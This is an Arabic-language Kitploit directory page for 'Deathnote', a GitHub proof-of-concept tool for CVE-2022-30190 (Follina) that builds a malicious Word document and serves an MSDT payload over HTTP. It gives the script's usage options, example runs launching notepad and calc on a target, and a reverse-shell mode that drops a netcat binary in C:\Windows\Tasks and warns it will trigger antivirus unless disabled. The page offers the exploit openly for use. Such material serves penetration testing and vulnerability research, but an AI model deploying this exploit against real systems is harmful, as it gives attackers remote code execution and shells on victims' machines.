Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/malwareman007/deathnote
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرة
GitHubmalwareman007/deathnote

Deathnote

إثبات المفهوم لـ CVE-2022-30190

عرض المستودع
3867منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Deathnote

إثبات المفهوم لـ CVE-2022-30190

توجد ثغرة أمنية لتنفيذ التعليمات البرمجية عن بُعد عند استدعاء MSDT باستخدام بروتوكول URL من تطبيق يستدعيها مثل Word. يمكن للمهاجم الذي يستغل هذه الثغرة بنجاح تشغيل تعليمات برمجية عشوائية بصلاحيات التطبيق المستدعي. بعد ذلك يمكن للمهاجم تثبيت البرامج، أو عرض البيانات أو تغييرها أو حذفها، أو إنشاء حسابات جديدة في السياق الذي تسمح به صلاحيات المستخدم.


أنشئ هجوم "Deathnote" من نوع MS-MSDT باستخدام مستند Microsoft Word خبيث، وقم بتجهيز حمولة (payload) عبر خادم HTTP.

الاستخدام

root@kitploit:~
usage: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]

options:
  -h, --help            show this help message and exit
  --command COMMAND, -c COMMAND
                        command to run on the target (default: Notepad)
  --output OUTPUT, -o OUTPUT
                        output maldoc file (default: ./Deathnote.doc)
  --interface INTERFACE, -i INTERFACE
                        network interface or IP address to host the HTTP server (default: eth0)
  --port PORT, -p PORT  port to serve the HTTP server (default: 8000)

أمثلة

تشغيل notepad.exe:

root@kitploit:~
$ python3 Deathnote.py   
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./Deathnote.doc
[+] serving html payload on :8000

تشغيل calc.exe:

root@kitploit:~
$ python3 Deathnote.py -c "calc"

demo

احصل على صدفة عكسية على المنفذ 4444. ملاحظة: يؤدي هذا إلى تنزيل ملف netcat ثنائي على جهاز الضحية ووضعه في C:\Windows\Tasks. لا يقوم بتنظيف الملف الثنائي. سيؤدي هذا إلى إطلاق كشوفات مكافحة الفيروسات ما لم يتم تعطيل AV.

احصل على reverse shell:

root@kitploit:~
python3 Deathnote.py -p 1234
تنزيل الأداة